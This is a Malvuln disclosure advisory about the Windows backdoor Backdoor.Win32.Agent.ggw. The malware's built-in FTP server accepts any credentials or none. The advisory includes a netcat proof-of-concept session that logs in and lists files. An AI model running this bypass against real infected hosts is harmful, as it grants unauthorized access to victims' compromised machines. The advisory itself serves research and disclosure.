Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/509e3d4839688c6173980dfba22ebd55.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.ggw
Vulnerability: Authentication Bypass
Description: The malware runs a built-in FTP server listening on one of several random TCP ports like 32335, 27227, 27942, 14223, 14988, 11092. Third-party attackers who can reach the server and that know or guess the port can "logon" using any USER/PASS combination or provide no credentials at all.
Type: PE32
MD5: 509e3d4839688c6173980dfba22ebd55 
Vuln ID: MVID-2021-0193
Dropped files: 
Disclosure: 04/29/2021

Exploit/PoC:
1) Any user creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
USER mal
331 Password required
PASS vuln
230 User logged in.
SYST
501 Option not supported.
LIST
226 Transfer complete

2) No creds

nc64.exe MALWARE_HOST_IP 14223
220 ProFTPD 1.13.4 Server (ProFTPD Default Installation)
SYST
501 Option not supported.
LIST
226 Transfer complete

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